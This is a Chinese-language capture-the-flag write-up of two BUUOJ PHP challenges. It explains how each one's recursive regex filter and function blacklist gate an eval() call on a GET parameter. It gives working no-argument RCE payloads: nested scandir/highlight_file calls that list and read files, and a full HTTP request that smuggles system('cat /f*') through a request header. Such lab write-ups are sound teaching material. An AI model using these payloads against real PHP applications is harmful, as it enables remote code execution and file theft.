[GXYCTF2019]禁止套娃
无题目描述
题目来源:BUUOJ 练习场
关键正则判断:
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
正则表达式分析:
'/[a-z,_]+\((?R)?\)/'
+
匹配一次或多次
\(
\)
匹配括号
(?R)
递归匹配整个正则表达式
?
匹配0次或1次
[a-z,_]+
匹配函数名(由小写字母和下划线组成)
故:[a-z,_]+\((?R)?\)
递归匹配函数名+括号,也即函数
当正则表达式匹配到函数时,将其替换为空。若替换掉所有函数后剩下的字符串为 ;
,则执行 eval
函数。
也就是说,我们要想让 eval() 执行 exp
,我们就必须将其赋值为一个函数,函数可以嵌套函数,最后以分号 ;
结尾。且函数名不能包含 et|na|info|dec|bin|hex|oct|pi|log
中的任意一个。
利用思路:
将 PHP 的各种可以利用的函数嵌套起来,达到 RCE 或文件读取的目的,最后以分号 ;
结尾。
一些常见的利用函数:
var_dump()
打印变量的相关信息print_r()
打印变量的相关信息highlight_file()
语法高亮显示文件scandir()
列出指定路径中的文件和目录get_defined_vars()
返回由所有已定义变量所组成的数组。current()
返回当前被内部指针指向的数组元素的值,并不移动指针pos()
current 的别名next()
将数组中的内部指针向前移动一位prev()
将数组的内部指针倒回一位end()
将数组的内部指针指向最后一个单元array_reverse
返回一个顺序相反的数组localeconv()
返回包含本地数字及货币格式信息的数组array_rand()
从数组中随机取出一个或多个单元array_flip()
交换数组中的键和值getallheaders()
获取所有 HTTP 请求头信息system()
执行外部程序并且显示输出passthru()
执行外部程序并且显示原始输出
payload 分析:
localeconv()
返回的一个数组的第一个元素,数组中的每个元素都是一个包含本地数字及货币格式信息的数组。
current(localeconv())
返回的一个数组的第一个元素,也即 decimal_point
的值 .
。
scandir(current(localeconv()))
返回 .
目录下的所有文件和目录数组。.
目录,即当前目录。
array_flip(scandir(current(localeconv())))
返回将数组的键值和键名鹈替换后的数组。
array_rand(array_flip(scandir(current(localeconv()))))
数组中的一个随机键名,多随机几次,就随机到我们想看的文件了。
print_r(highlight_file(array_rand(array_flip(scandir(current(localeconv()))))))
语法高亮输出随机键名对应的文件。
payload:
GET /?exp=var_dump(scandir(current(localeconv())));
GET /?exp=print_r(highlight_file(array_rand(array_flip(scandir(current(localeconv()))))));
[NewStarCTF2023]R!!C!!E!!
R!!C!!E!!M!!E!!
题目来源:BUUOJ NewStarCTF2023
关键正则判断:
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);
}
}
正则表达式分析:
'/[^\W]+\((?R)?\)/'
\W
匹配任何非单词字符。等价于 [^a-zA-Z0-9_]。
^\W
匹配任何非非单词字符,也就是匹配任何单词字符。等价于 [a-zA-Z0-9_]。
[^\W]+
匹配函数名(由字母、数字、下划线组成)
+
匹配一次或多次
\(
\)
匹配括号
(?R)
递归匹配整个正则表达式
?
匹配0次或1次
故:'/[^\W]+\((?R)?\)/'
递归匹配函数名+括号,也即函数
思路同上,函数名不能包含 high|get_defined_vars|scandir|var_dump|read|file|php|curent|end
中的任意一个。
payload 分析:
过滤了 highlight_file()
,可用 show_source()
,过滤了 current()
,可用 current
的别名 pos()
。
getallheaders()
函数返回所有 HTTP 请求头信息,以关联数组形式返回。
array_reverse(getallheaders())
返回一个顺序相反的数组。
pos(array_reverse(getallheaders()))
返回一个顺序相反的数组的第一个元素,也即 X-Forwarder-For
的值。
eval(...)
执行 X-Forwarder-For
的值,也即 system('cat /f*');
。
payload:
GET /bo0g1pop.php?star=eval(pos(array_reverse(getallheaders()))); HTTP/1.1
Host: a4e4cca9-4fcf-4446-9bf2-e5030322c154.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
X-Forwarder-For: system('cat /f*');
Connection: close
参考:
墙裂推荐:https://deerchao.cn/tutorials/regex/regex.htm
https://zhuanlan.zhihu.com/p/347849603
https://blog.csdn.net/tales522/article/details/125028331
https://blog.csdn.net/weixin_46330722/article/details/110840156
https://shimo.im/docs/Dy5ekHJhKo0ap5v3/read
以及我的小助手 Copilot。